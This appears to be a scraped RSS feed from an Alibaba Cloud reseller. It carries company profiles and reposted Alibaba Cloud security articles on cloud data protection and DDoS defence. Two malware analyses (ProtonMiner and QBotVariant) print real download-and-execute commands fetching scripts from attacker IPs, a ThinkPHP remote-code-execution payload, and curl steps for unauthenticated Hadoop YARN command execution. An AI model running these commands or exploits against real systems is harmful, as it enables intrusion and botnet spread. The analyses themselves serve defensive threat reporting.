阿里云服务-米姆科技官方网站 http://www.51mimu.com 广州米姆信息科技有限公司,在这些年的发展中,我们茁壮成长,我们奉献每一份能够奉献的力量,主要服务阿里云用户,为阿里云用户提供产品及技术支持,产品包含:云服务器ECS、数据库RDS、网站加速CDN、阿里云邮箱、对象存储OSS、阿里云企业邮箱、阿里云邮箱个人版、安全防护WAF防火墙、高防IP DDOS、大数据、物联网iot、企业短信等产品服务,为用户给予阿里云优惠折扣解决方案、阿里云沙龙及阿里云峰会、 免费云主机免费试用、阿里云代理促销优惠活动、代金券限时优惠等活动服务,让用户享受米姆服务中心对用户的阿里云全栈服务。,在线咨询电话:14737363737 Mon, 27 May 2019 21:06:16 +0800 zh-CN hourly 1 https://www.s-cms.cn/?v=4.7.5 公司文化 Mon, 27 May 2019 21:06:16 +0800

目前米姆采用人性化管理及制度综合管理相结合的方式让企业管理效率最大化,目前我公司的管理制度,涉及到安全、流程、认证等各方面,各种制度健全合理,包含部分岗位流程SOP、销售服务准则、职能认证规范及要求等十数种程序文件。从各种制度的执行情况来看,各种制度制定的有效合理,能够有效地给予生产进行指导和员工行为规范的约束


   

米姆核心目标:

米姆立志并已致力成为全球领先的企业数字化转型一站式解决方案和营销一体化的服务提供商。价值观:技术创新、诚信合作、以人为本、服务企业员工:员工相互信任、尊重、积极向上,为员工提供更多的培训机会,鼓励员工技术与管理创新、分享知识与经验,为员工提供一个公平公正的可持续发展平台,为客户提供一个搞效率服务平台。
诚信:铸诚魂 弘商誉品质:品质第一 客户至上创新:持续创新 不断超越分享:整合资源 分享世界
]]>
米姆(MEME)科技简介 Mon, 27 May 2019 21:06:16 +0800            

我们初创 却并非新生


    广州米姆信息科技有限公司成立于2018年,伴随着企业上云和产业互联网化的趋势快速发展,米姆立志并已致力成为企业数字化转型一站式解决方案和营销一体化的服务提供商。
我们的核心团队汇聚了来自于阿里、华为和中软等业内领先企业的高端人才,完全具备了理解用户,提供物超所值的解决方案和服务的能力。
    目前,我们已经成为阿里云和华为的生态合作伙伴,为更好地提供数字化解决方案和服务,我们也与相关领域的优秀平台达成战略合作。
    米姆的核心理念在于创新,在于进步,更在于分享。选择我们,就是选择未来!







]]>
奉上一份云上数据安全保护指南 Mon, 27 May 2019 21:06:16 +0800 38b9dc9673037ff0b60198c86801d539bd819520

阿里云资深安全专家黄瑞瑞

本方案的目标是为用户提供从底层云平台数据安全到上层的云上环境保护,并标明各层次模块,让用户可以像建房子一样,一层层的搭建可信的在云上数据的安全保护。在各横向层次模块之外,云上数据安全也需要纵向的认证、授权、访问控制和日志审计功能,从而为客户提供可控和合规的云上数据安全保护方案。

35f784dcb6173e8c9fad251d38da804a63b76dc9

云上数据保护方案

整体而言,云上的数据安全保护方案需要做到三点原则:可信、可控、合规。换言之,只有在可信和可控的云上环境中,提供合规的数据安全保护方案才能真正做到为客户提供最顶级的数据保护。会上,黄瑞瑞针对这三点原则做出了针对性的技术介绍和讨论。

阿里云在云平台层面为客户提供默认高安全等级的基础设施能力,使客户可以放心的将数据存放和计算在可信的云平台上。值得特别指出的是,阿里云在云平台层面会对硬件和固件的安全进行加固和扫描,并使用TPM2.0技术来提供可信的度量和证明云平台底层的安全计算环境。同时阿里云具备基于硬件加密机(HSM)和芯片级别(SGX )的安全计算能力。

c1c05ee96749e3320db00ad76198563a48f1f101

阿里云基础设施安全能力

在云产品层面,数据安全主要体现在云产品提供可信的数据加密能力、备份能力和校验能力。会上,黄瑞瑞对于云产品的加密能力进行了针对性的讲解,并向参会嘉宾特别介绍了阿里云的全链路加密能力。全链路加密顾名思义是指针对数据加密在传输链路,以及计算和存储节点提供对应的业界高级别加密能力。传输加密主要依赖SSL/TLS加密并提供AES256强度的加密保护。计算节点中阿里云在2017年即开始提供芯片级SGX加密计算环境(在提供SGX能力的云厂商中,阿里云为亚洲第一、世界第二提供此能力的厂商)。在存储加密环节,阿里云不但能提供高强度(AES256)的数据落盘加密能力,更通过密钥管理服务(KMS)提供用户自带密钥(BYOK)功能。联合KMS密钥管理,阿里云可以为用户提供全链路的数据加密保护。

cfec8124e80dd6f5cb5e38ff241274b8a2225d89

数据全链路加密

整体来说,数据加密操作流程是明文数据经由国际国内公认的安全算法计算得出数据密文。在加密操作中,被安全保护和管理的密钥是加密保护的充分而必要的条件。换言之,控制了密钥,也就控制了整体加密操作的主动权。早在2015年阿里云就在业内首个发起“数据保护倡议”,并在倡议中明确用户数据所有权归属用户,云计算平台不得擅自移作它用。因此,用户自带密钥(BYOK)功能是阿里云致力于保护用户隐私和将数据控制权进一步交给客户的重要技术手段。由于用户自带主密钥为用户资源,而任何调用需通过用户授权(通过阿里云RAM服务),用户对于加密后数据的使用有了完全自主的控制权和主动权。同时,任何对于用户资源的调用都会在日志审计中完整的显示出来,因此加密后数据的云上使用透明性也有了更好的保障。

f325f211e6052f79733d2026938e0d7579a86a7e

在云上数据安全保护层面,黄瑞瑞提出了敏感数据保护的三个技术点,包括分类分级(敏感数据鉴别)、访问控制和防泄漏能力。在分类分级技术点中,今天的正态规则引擎虽然能识别规则的敏感数据格式,但针对日益严格的用户隐私保护需求和法律法规,人工智能(AI)引擎也必须被高效的利用起来。今天的AI引擎可以和规则引擎相配合,利用规则引擎的低误报率来降低其误报率并在规则引擎的基础上提供更加智能的数据鉴别能力。当敏感数据被鉴别出来后,云服务应当提供细粒度的访问控制,尤其应提供在用户属性基础上针对数据本身敏感属性的访问控制能力。最后,敏感数据的防泄漏能力必须在网络、终端和应用各个层面完整的提供。整体而言,云上数据安全保护应当提供从鉴别数据、控制数据访问和防止泄露能力上提供全面的保护。

1f17e2e802f3238c815bd820d7ec21e3a00cb4cb

敏感数据保护的三个技术点

在阿里云提供了可信和可控的数据保护技术手段的前提下,更进一步获得了中国和国际上的各大权威合规认证。目前阿里云已经成为合规资质最全的亚太云服务提供商,是亚太首家获得德国C5和ISO27001认证的企业,中国首家获得MTCS Level3和ISO 20000认证的企业,并为世界互联网大会、G20峰会、“一带一路”高峰论坛等多个国际重大活动,提供高等级网络安全护航。

5c0cb154e34e25a0f1fc98d0c86dfeb48ec05d94

阿里云获得的合规认证

阿里云的安全使命是将云上安全做到极致,提供更坚固,更强壮的安全能力给用户坚实的后盾,解放用户使其能专注本身的业务问题。尤其在数据保护层面,必须为用户提供最有力的全面安全保护能力。“我们的目标是当用户考虑上云时,不再考虑由于安全能否上云,而是确认正是因为安全而必须上云。”黄瑞瑞最后表示。


]]>
如果全球的沙子都对你发起DDoS攻击,如何破? Mon, 27 May 2019 21:06:16 +0800 IPv6已来

2016年6月1日开始,苹果规定所有提交至AppStore的应用必须兼容IPv6-only标准。可以预计,2018年底会有大量互联网资源、上网用户使用IPv6协议。这意味着,如果一个互联网服务不能支持IPv6,将失去大量用户流量。

2017年底,中共中央办公厅、国务院办公厅印发了《推进互联网协议第六版(IPv6)规模部署行动计划》,要求到2018年末,IPv6活跃用户数达到2亿,并要求国内用户量排名前50位的商业网站及应用支持IPv6。IPv6成为国家战略。

随着IPv6时代的到来,IPv6网络下的攻击开始出现。2018年初,Neustar宣称受到了IPv6DDoS攻击,这是首个对外公开的IPv6 DDoS攻击事件。thc-ipv6、hping等IPv6的DDoS攻击工具也开始在互联网上出现。

2018年11月,淘宝、优酷的双十一首次跑在IPv6上。同时,阿里云云盾建成国内首家IPv6 DDoS防御系统,支持秒级监控、防御海量IP,为淘宝、优酷云上业务提供IPv4+IPv6双栈DDoS自动防护。双11期间,双栈防御系统拦截5000多次DDoS攻击,最大攻击流量达到397Gpbs。

IPv6时代,网络安全面临新的挑战

虽然IPv4下的防御系统已经非常成熟,但系统并不能直接用于IPv6防护,需要全链路重构支持IPv6。从流量监控、调度、清洗、黑洞都需要重新适应IPv6的新网络环境。此外,由于IPv6协议的新特性,可能会被黑客用于DDoS或DoS攻击:

 ●  IPv6的NextHeader新特性可能被黑客用于发起DoS攻击,比如Type0路由头漏洞,通过精心制造的数据包,可以让一个报文在两台有漏洞的服务器之间“弹来弹去”,让链路带宽耗尽,也可以绕过源地址限制,让合法的IP反弹报文;
 ●  IPv6新增NS/NA/RS/RA,可能会被用于DoS或DDoS攻击;
 ●  IPv6支持无状态自动配置,同时子网下可能存在非常多可使用的IP地址,攻击者可以便利的发起随机源DDoS攻击;
 ●  IPv6采用端到端的分片重组机制,如果服务器存在漏洞,可能会被精心伪造的分片包DoS攻击。

与此同时,IPv6下攻防态势也产生新的变化。IPv6提供海量的地址,一个IDC就可能申请到非常大的可用地址块,这对源IP频率和限速类的防御算法来说简直是噩梦。特别是应用层的DDoS:HTTP Flood、刷票、爬虫将变得更加难以防御。此外,随着自动驾驶汽车、物联网设备、移动终端等越来越多的智能设备入网,这些设备一旦被入侵都可能成为发起DDoS的僵尸网络,产生海量的攻击报文。

DDoS攻击往往是出于商业利益,据阿里云发布的《2018上半年网络安全报告》显示,游戏、移动应用、电子商务等竞争激烈的领域是DDoS攻击的重点阵地。随着企业业务切到IPv6协议,IPv6下的DDoS攻击在一段时间里会非常有效,因为很多企业并没有做好IPv6 DDoS防御的准备,对攻击者来说可以轻易达成攻击目标。此时IPv6下的DDoS攻击会逐步热门起来,成为很多企业的阿喀琉斯之踵。

阿里云IPv6DDoS防御最佳实践

针对挑战和变化需要解决的问题:

 ●  网络和DDoS防御系统需要改造甚至重构支持IPv6。
首先,虽然IPv4网络已经非常成熟,但到了IPv6网络,现有的很多企业网络、服务器网络的大部分都需要更换设备和重新开发系统,才能支持IPv6网络以及IPv6网络下的安全防护;
部分企业寄希望运营商会提供平滑的过渡方案,但运营商只会对运营商网络边界内进行改造升级,企业如果需要支持IPv6,是需要自身进行改造升级的。
 ●  IPv6的地址总量是IPv4的2的96次方倍,系统需要更强大的处理性能才能支持海量的IP的安全防御。
 ●  针对大流量DDoS,需要建立运营商级别的IPv6黑洞能力。
 ●  防御算法和防御模式都需要适应IPv6的新挑战。
 ●  在业务切换到IPv6的同时,需要具备IPv6网络下的安全防护能力。

阿里云如何实现:

1.重构系统支持IPv4+IPv6的双栈DDoS自动防护

a) 流量监控预警系统

流量监控预警系统需要支持IPv6和IPv4,同时检测双栈流量,为了能检测IPv6海量的IP地址,阿里云DDoS系统采用了分布式集群的方式,将流量分散到集群上协作运算,对多个流量指标进行统计,秒级监控流量的异常。

b) 调度系统

对调度系统升级,支持双栈,自动判断IP类型,启动对应防御模式和清洗算法。

c) 清洗系统

重新设计部署了牵引、回注、清洗系统,并制定针对IPv6的清洗算法。

2.运营商级别黑洞能力

不管是IPv4还是IPv6,当某个IP攻击流量特别大,会导致整个带宽拥塞。无论对IDC机房、云服务商来说,1个IP被攻击导致所有业务不可用简直是灾难。特别是IPv6网络带宽相对于IPv4还处于建设初期,攻击拥塞风险更大。

阿里云和各大ISP服务商建立IPv6黑洞联动能力,可以在运营商IPv6骨干网丢弃流量,提供安全的云环境。

3.防护模式的升级

a) 针对prefix级别的防御算法:

虽然一个IDC就可能申请到海量的IP地址,但这些IP地址归属的IP地址块不会太多,即使攻击者可以切换海量的IP地址,但在同一个机房的肉鸡IP很难在网段级别离散,通过IP地址网段来统计和分析可以有效减弱IPv6海量地址带来的冲击。

b)协同防御:

在传统IDC和单机安全设备上,一个IP的异常指标可能非常低,很难分析它是攻击还是正常访问,同时很难判断这个IP是否是NAT或园区出口,结合IPv6的海量IP,攻击者可以进一步降低被识别的可能。但攻击者为了成本和效率,一个IP不可能只攻击一个目标。比如IP X.X.X.X 在DDoS了服务器A之后,可能又去CC攻击了服务器B。在阿里云上,由于规模效应,有海量的IP同时在被防御,所有清洗数据进行了在线化分析,一个IP的行为特征就有了上帝视角,攻击者变得非常明显,所有租户的防御就可以协同作战,威胁情报可以共享。

c) 智能化深度防御:

针对应用层的DDoS攻击,基于频率和限速的模式会越来越难防御,假如一个网站能承受1W qps。在IPv6下,攻击者可以很廉价的获取1W个IP,每个IP每秒发起1次请求,这个网站就会不堪重负。所以,在IPv6下应用层的DDoS攻击防御,更高级的人机识别技术、人机对抗技术将成为主流。目前阿里云已在Web应用防火墙上应用了多种人机对抗技术。

安全建议

对于普通互联网服务提供者来说,重构、升级系统来支持IPv6需要花费大量的成本,建议利用云服务快速搭建基于IPv6的服务。目前,阿里云已有多款产品支持IPv6,同时以SaaS化的形式提供IPv6 DDoS防护能力,助力企业一秒搭建更高级别的防御能力。


]]>
T级攻击成为常态,你的DDoS高防IP系统准备好了吗? Mon, 27 May 2019 21:06:16 +0800 DDoS防御发展史

DDoS(Distributed Denial of Service,分布式拒绝服务)主要通过大量合法的请求占用大量网络资源,从而使合法用户无法得到服务的响应,是目前最强大、最难防御的网络攻击之一。

a3dec479b1c37df4a3b3fb0d38ace97d82fdf300

DDoS作为一种古老的攻击方式,其防御方式也经历了多个发展阶段:

内核优化时代

在早期时代,没有专业的防护清洗设备来进行DDoS防御,当时互联网的带宽也比较小,很多人都是在用56K的modem拨号上网,攻击者可以利用的带宽也相对比较小,对于防御者来说,一般通过内核参数优化、iptables就能基本解决攻击,有内核开发能力的人还可以通过写内核防护模块来提升防护能力。

在这个时期,利用Linux本身提供的功能就可以基本防御DDoS攻击。比如针对SYN FLOOD攻击,调整net.ipv4.tcp_max_syn_backlog参数控制半连接队列上限,避免连接被打满,调整net.ipv4.tcp_tw_recycle,net.ipv4.tcp_fin_timeout来控制tcp状态保持在TIME-WAIT,FIN-WAIT-2的连接个数;针对ICMP FLOOD攻击,控制IPTABLES来关闭和限制ping报文的速率,也可以过滤掉不符合RFC协议规范的畸形报文。但是这种方式只是在优化单台服务器,随着攻击资源和力度的逐渐增强,这种防护方式就显得力不从心了。

专业anti-DDoS硬件防火墙

专业anti-DDoS硬件防火墙对功耗、转发芯片、操作系统等各个部分都进行了优化,用来满足DDoS流量清洗的诉求。 一般IDC服务提供商会购买anti-DDoS硬件防火墙,部署在机房入口处为整个机房提供清洗服务,这些清洗盒子的性能从单台百兆的性能,逐步发展到1Gbps、10Gbps、20Gbps、100Gbps或者更高,所提供的清洗功能也基本涵盖了3-7层的各种攻击(SYN-FLOOD、UDP-FLOOD、ICMP-FLOOD、ACK-FLOOD、TCP连接型FLOOD、CC攻击、DNS-FLOOD、反射攻击等)。

这种方式对IDC服务商来讲有相当高的成本,每个机房入口都需要有清洗设备覆盖,要有专业的运维人员来维护,而且并不是每个IDC机房都可以有同等的清洗防护能力,有的小机房上联可能只有20G带宽,且不具备复用这些清洗设备的能力。

云时代的DDoS高防IP防护方案

在云时代,服务部署在各种云上,或者传统的IDC机房里面,他们提供的DDoS基础清洗服务标准并不一致,在遭受到超大流量DDoS攻击情况下,托管所在的机房并不能提供对应的防护能力,不得已,为了保护他们的服务不受影响,就会有“黑洞”的概念产生。黑洞是指服务器受攻击流量超过IDC机房黑洞阈值时,IDC机房会屏蔽服务器的外网访问,避免攻击持续,影响整体机房的稳定性。

在这种情况下,DDoS高防IP是通过建立各种大带宽的机房,提供整套的DDoS解决方案,将流量转到DDoS高防IP上进行防护,然后再把清洗后的干净流量转发回用户真正的源站。这种方式会复用机房资源,专业机房做专业的事情。简化DDoS防护的复杂度,以SaaS化的方式提供DDoS清洗服务。

bde80cecef14d15c75a876b844508d1f65e666ec

由此可以看出,云时代的DDoS高防IP不仅可以满足对大宽带的刚性需求,而且对用户来说具有隐藏源站、可以灵活更换清洗服务商的优势。

DDoS高防IP系统关键组成

带宽&网络

带宽&网络是DDoS防护的第一诉求,首先要做的就是拥有一个高带宽的机房。目前国内主流机房主要为电信单线机房、联通单线机房、移动单线机房和BGP多线机房。

ea8cb99206e341849095772a8d473308b7638bc1

单线机房和BGP多线机房的特点以及差别是什么呢?

特点

单线机房

BGP多线机房

带宽&成本

购买成本适中,DDoS带宽较大(Tb级)

成本昂贵,DDoS带宽相对较小

访问质量

访问质量一般,受运营商跨网影响较大

访问质量好,BGP网络最优选路

业务复杂度

如果用户需要多线访问,一般要多个IP(一个电信,一个联通,一个移动等),导致业务复杂度较高。

只需要一个IP地址,多线接入,业务复杂度低。

容灾

容灾不足,一旦机房网络存在问题,容灾方案一般只能在业务层做切换

BGP协议本身具有冗余备份、消除环路的特点,所以当IDC服务商有多条BGP互联线路时可以实现路由的相互备份,在一条线路出现故障时路由会自动切换到其它线路。


另外一个维度就是带宽上限,目前对于国内DDoS高防IP来说,300Gbps的防护能力都是入门级别的,1Tbps的防护能力乃至无限抗的解决方案越来越多的出现用户的选择中。

T级防护能力的BGP多线机房也逐步成为了未来的发展目标。阿里云致力于为客户能够提供访问质量和防护能力俱佳的DDoS高防IP。

大流量清洗集群 

这是另外一个关键技术。DDoS清洗的核心部分是将攻击流量拦截下来。一般攻击种类和对抗体系有以下几种:

a)攻击防护:在带宽资源足够的条件下,如何对DDoS攻击流量清洗是下一步需要考虑的,一般来说,专业的DDoS清洗防护设备的主要防护方法包括几类:畸形包、特定协议丢弃;源反弹认证体系;统计限速&行为识别。攻击类型一般有SYN-FLOOD、UDP-FLOOD、ICMP-FLOOD、ACK-FLOOD、TCP连接型FLOOD、CC攻击、DNS-FLOOD、反射攻击等等。

 ●  畸形包、特定协议丢弃很简单,即对于不符合RFC协议规范的报文、反射类攻击都可以用指定特征的方式进行防护。
 ●  源反弹认证是针对syn flood的防护方法,一般采用反向验证的防护方法,如syn cookie,即清洗设备替服务端校验访问源的真实性,方法是在TCP三次握手中,在回复synack报文的时候,使用一种特殊的算法生成Sequence Number,这种算法考虑到了对方的IP、端口、己方IP、端口的固定信息等多种信息,并在ack报文的时候确认。如果是真实访问者,放行流量。同理,复杂的CC攻击可以用反弹一个图片验证码的方式校验攻击者是否为真实客户。
 ●  统计限速&行为识别这里就会综合各种黑白名单,用户访问速率、行为,进行一个速率控制的防护。

b)集群架构:在目前的DDoS防护趋势下,防护必须有弹性扩容的能力,才可以跟进攻防对抗的趋势。另外这里还会提到100G口的普及。一般来说流量的负载均衡是根据五元组里面的特征进行负载均衡hash的,如果单口的带宽比较小(10G or 40G),那么一旦攻击流量的五元组的hash不均匀,他们有更大的几率会拥塞,流量根本就不会送到清洗设备引擎上去。这个也是大集群清洗体系比较重要的一点。

c)运营体系:DDoS对抗运营也是非常关键的一环,需要多年实时对抗的经验积累,在面对一些新型攻击及突发情况时,快速的分析和决策是解决问题的一个关键部分。

负载均衡设备&安全组件

负载均衡技术是代理高防的关键技术,这里面包括4层负载均衡和7层负载均衡。

4层负载均衡技术,为每一个客户业务提供一个独享的IP,本身的转发能力要高性能、高可用性,同时还要具备安全防护能力,能够对抗连接型攻击。

7层负载均衡技术,针对网站类业务的代理和防护,对HTTP/HTTPS协议的支持,各种CC攻击的防护,都会集成在7层负载均衡的系统里面。

 ●  独享IP。优点就是一个业务IP被DDoS攻击,不会影响其他的业务,资源隔离。
 ●  高可用,可扩展。根据应用负载进行弹性扩容,在流量波动情况下不中断对外服务。可以根据业务的需要,随时增加或减少后端服务器的数量,扩展应用的服务能力。
 ●  安全能力。具备in/out双向流量信息,可以提供精细化、域名级别、session级别的应用级别DDoS防护。

对4层和7层进行深度开发安全功能,上下游配合,各取所长,配合大流量清洗集群才能将防护做到极致。

数据实时分析系统


流量分析

首先是数据源,数据源机制有很多种,比较熟知的是利用NetFlow进行采样分析攻击检测,也可以通过1:1分光分流的方式获取全部流量统计检测,很明显1:1分光的方式需要更高的资源和更高效的数据分析系统,需要研发能力和技术支撑的,也会取得更佳的效果。

应用识别

拿到原始报文和数据后,需要做的就是区分应用了。应用的区分可以是IP级别,可以是IP+端口级别,也可以是域名级别等。不同业务的防御方法是有差别的,需要做到根据业务特性来制定专业的防御方案。

攻击分析


目前DDoS的攻击分析已经摆脱了以前基于统计的分析算法,引入了行为识别、机器学习的理论和实践,而这些算法都帮助我们能更好对攻击进行防护,我们还应该关注如何将这些算法有效的实时应用到用户的防御对抗中。

综上来看,DDoS攻击防护存在木桶短板原理,任何一个攻击防护点的效果都会影响到整体的防御效果。未来的DDoS高防IP应该具备弹性带宽、高冗余、高可用、访问质量优、业务接入简单的特点。同时通过DDoS防护能力的OPENAPI化,和用户自动化运维体系的打通,实现安全和业务结合,以更好的助力业务发展。


]]>
威胁快报|ProtonMiner挖矿蠕虫扩大攻击面,加速传播 Mon, 27 May 2019 21:06:16 +0800 背景

近日,阿里云安全监测到一种挖矿蠕虫,正在互联网上加速传播。阿里云安全根据它使用ProtonMail邮箱地址作为矿池用户名的行为,将其命名为ProtonMiner。据分析,这种蠕虫与TrendMicro于2018年12月曾报导过的“利用ElasticSearch旧漏洞传播的蠕虫”非常相似,可能是同一团伙所为。但与先前报导不同的是,二月中旬,该挖矿蠕虫扩大了攻击面,从仅攻击ElasticSearch这一种服务,变为攻击包括Redis, Weblogic在内的多种服务,传播速度大大加快。

本文着重描写该挖矿僵尸网络的传播手法,并在文末列出了安全建议,以帮助用户避免遭受感染,或在已被感染的情况下进行清理。

感染路径

_

攻击者先控制被感染主机执行以下两条命令之一,从而下载并运行uuu.sh。

/bin/bash -c curl -fsSL http://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh/bin/bash -c curl -fsSL http://207.148.70.143:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

而uuu.sh脚本运行后,将继续下载挖矿程序和配置文件用于挖矿,以及下载蠕虫木马用于继续攻击未感染主机。

“谨慎”的入侵脚本

入侵脚本uuu.sh,首先会通过试着写入"/etc/devtools"目录,来判断当前账户是否拥有root权限;脚本的大部分功能,只有当前账号具有root权限时才会运行。

#!/bin/shecho 1 > /etc/devtoolsif [ -f "$rtdir" ]

    then

        echo "i am root"

        echo "goto 1" >> /etc/devtools

 # download & attack

fi

该脚本具有典型挖矿事件中恶意脚本的特征:检查并杀死其他僵尸网络的进程、将自身写入系统crontab文件、修改iptables设置从而允许某些端口上的通信等。然而这一脚本的作者或许更加谨慎:

1.在脚本最后,攻击者清空了命令历史记录

_

2.在挖矿配置文件中,攻击者使用了多个ProtonMail邮箱地址作为连接到矿池的用户名。ProtonMail是世界最大的安全邮件服务提供商,ProtonMiner也是因此而得名。这种使用邮箱地址,而非门罗币钱包地址作为矿池用户名的做法很好地“保护”了攻击者的隐私,也为安全工作者们判断该僵尸网络的规模和收益情况增加了难度。

_

传播分析

ProtonMiner的横向传播程序名为"systemctI",是一个由Go语言编译的程序。它的main函数如下图所示:

_

该程序在运行时,会首先通过_tmp_exe_linx_ipc_Init_ip等方法对要扫描的ip和使用的弱密码进行初始化。过程中会请求并下载以下两个地址的文件。

https://pixeldra.in/api/download/I9RRye (ip地址c段列表)
https://pixeldra.in/api/download/-7A5aP (弱密码列表)

_

之后程序会进入main_Scan函数,该函数包含大量的扫描和漏洞利用相关子函数。

_

下表列出了受到该挖矿僵尸网络影响的服务和漏洞:
_

例如一个ThinkPHP 的payload:

POST /index.php?s=captcha HTTP/1.1%0d%0aHost: ...%0d%0aUser-Agent: Go-http-client/1.1%0d%0aContent-Length:132%0d%0aConnection: close%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aAccept-Encoding:gzip%0d%0a%0d%0a_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=url -fsSLhttp://45.76.122.92:8506/IOFoqIgyC0zmf2UR/uuu.sh |sh

ProtonMiner僵尸网络扩大攻击面之后,传播速度有了显著的提升。从下图可以看出,进入2月份以来,攻击量快速上升,并在2月中旬达到高峰,阿里云观察到已有上千台主机受到感染:
_

安全建议

  1. 不要用root账户启动数据库、网站服务器等服务,因为root启动的服务一旦被成功入侵,攻击者将拥有被入侵主机的所有权限。此外,像Redis和Hadoop这些主要是内部使用的服务,不应暴露在公网上。

  2. 挖矿僵尸网络更新速度非常快,它们部分导致了互联网上无处不在的威胁。您可以使用云防火墙服务,检测、拦截、并保护客户避免感染。

  3. 如果你关注自身业务的网络安全却又雇不起一名安全工程师,那么你可以试试阿里云的安全管家产品,让阿里云的安全专家来给你恰当的帮助,例如协助你清除已存在的病毒、木马等。

IOC

C&C服务器:

45.76.122.92

207.148.70.143

恶意文件:
_

矿池地址:

xmr.pool.minergate.com:45700

使用的账号(邮箱)名:

xjkhjjkasd@protonmail.com

dashcoin230cdd@protonmail.com

alksjewio@protonmail.com

23odi093dd@protonmail.com

olpeplckdd3@protonmail.com


]]>
狂欢背后的安全24小时 Mon, 27 May 2019 21:06:16 +0800 8fb1b4de0c443681a6d7b4f6b6e98a988739ced6

安全24小时 

● 阿里云云盾从平台层和业务层护航双11的云上业务,平稳承受住11月11日0点峰值的考验。

● 阿里云平台自动识别并拦截来自194个国家的28.6亿次攻击,其中海外攻击占比40.6%。

● 云盾DDoS高防防护5000+次DDoS攻击,最大攻击流量397Gbps。

● 云盾Web应用防火墙检测20亿+次请求,拦截2000万+ Web入侵攻击、2亿+ CC\爬虫攻击。

新技术护航 

● 作为国内第一家推出Anycast高防产品的服务商,阿里云在全球建成6大Anycast清洗中心,为Lazada和云上客户海外业务提供安全护航服务。

● 作为国内首家提供IPv6 DDoS防御系统的云服务商,为双11首次跑在IPv6上的淘宝、优酷等业务提供IPv4+IPv6双栈DDoS秒级自动防护。

● 云盾业务风控产品首次通过自研风控引擎在购物节期间为云上数百位客户提供790万+次风险识别服务,在多维度安全策略的保障下,整体顺畅且无风险事件发生。


安全是一切背后不可或缺的力量,安全是一种普惠科技。我们一直在行动。

——阿里云安全团队


]]>
因为看见,所以发现:QBotVariant谢绝落幕 Mon, 27 May 2019 21:06:16 +0800 互联网给人带来便捷的同时,其公开大量的资源也同样给恶意利用者带了便捷,越来越多公开的恶意程序源码降低了对外攻击、入侵的难度,使得安全问题愈加严重。

阿里云安全团队从今年5月份监测到一BOT家族,其样本改写自互联网公开渠道源码,在互联网上广泛传播,造成了极大的危害,云安全团队对该类样本做了分析、聚类、溯源,在此我们将该类样本命名为QBotVariant。

QBotVariant具有DDoS攻击、后门、下载器、暴力破解等功能,一旦被入侵便变成肉鸡,其主要传播方式通过Hadoop Yarn资源管理系统REST API未授权访问漏洞和基于弱口令的暴力破解。类似Mirai该BOT家族针对多个版本的操作系统,不仅服务器受到危害,如CCTV监控、家庭路由等IOT设备更容易被攻击、入侵。Radware公司Pascal Geenens在最新的博客《New DemonBot Discovered》中提及到该类样本,但是他发现的IP、样本等信息只是该类家族的其中一个样本,而我们从监测到30多个下载服务器可以看出,QBotVariant多变的IP和二进制样本变种,使其难以发现和跟踪。

在云平台上,我们监测到的QBotVariant活跃度如下,峰值的时候可以达到上千个,活跃度一直未减。

68b68f67c49ad8ea5eae920a2522cbe768f5370b

以下我们将从传播方式、脚本分析、样本分析、溯源等多个角度对QBotVariant进行详细的分析。

入侵、传播方式

QBotVariant家族传播的方式有两种,一是利用Hadoop Yarn资源管理系统REST API未授权访问漏洞进行入侵,二是通过硬编码的弱密码进行SSH暴力破解。

8fc4239242f5ab3452ef73c7908ba048eb6aeb45

Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的MapReduce算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。Hadoop Yarn资源管理系统配置不当导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过REST API部署任务来执行任意代码,最终完全控制服务器。

其问题来源于对外开启了以下作用的端口

yarn.resourcemanager.webapp.address,默认端口8088

yarn.resourcemanager.webapp.https.address,默认端口8090

通过对新申请application,如下指令

curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'

再执行如下指令即可完成入侵

curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json

其example.json文件如下

{

"am-container-spec":{

"commands":{

"command":"执行的命令书写在这里"

}

},

"application-id":"application_xxxx_xxxxx",

"application-name":"test",

"application-type":"YARN"

}

脚本分析

我们通过溯源找到了QBotVariant比较原始版本的脚本,在原始版本的脚本中支持wget、tftp、ftpget等脚本的执行,从远程下载服务器下载脚本并执行

bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;

wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;

tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;

tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;

ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh

以下是阿里云安全截获的一个经过改写的下载脚本,从脚本可以看出作者为了能够很好的对IOT设备支持,一方面编译了不同版本的程序,通过ntpd、sshd、openssh等进行伪装;另一方面每个命令行都加入了对busybox的支持,这些使得该类脚本很好的支持了IOT设备,为QBotVaraint的传播提供了更加便捷的途径。

8e6b6419ab5291e3cd2c191fb5794e0c6546bf59

在阿里云捕获的源码中有用于编译多个版本的脚本

dcc935689cd2993e4d1b14fcb531604819952719

QBotVariant支持版本类型及其对应二进制名称:

支持版本类型

对应二进制名称

支持版本类型

对应二进制名称

mips

ntpd

i586

ftp

mipsel

sshd

m68k

pftp

sh4

openssh

sparc

sh

x86_64

bash

armv4l


armv6l

tftp

armv5l

apache2

i686

wget

powerpc-440fp

telnetd

powerpc

cron



样本分析

阿里云截获的多批次样本都比较相似,都改编于QBot。某些作者为了精简样本或者进行杀软对抗可能将某些功能进行裁剪,我们随机对比两个捕获的样本,如图右边的样本对getRandomPublicIP函数进行了裁剪,该样本只实现了QBot的少许功能,其文件更小、功能更加单一。

4e16236bcc5d5bab1e3b77fb5edec3c14c6b044f

而绝大部分样本都实现了基本功能,其传播性、危害性等性质并未改变,部分函数如图所示

5825be754b32d2beb078ae6c4a2c5fc5388bfbec

指令分析

我们对远控指令进行了分析,其功能如下图所示

2cc1a7f07b5b6d19cd046a826a5557fc0e97046b

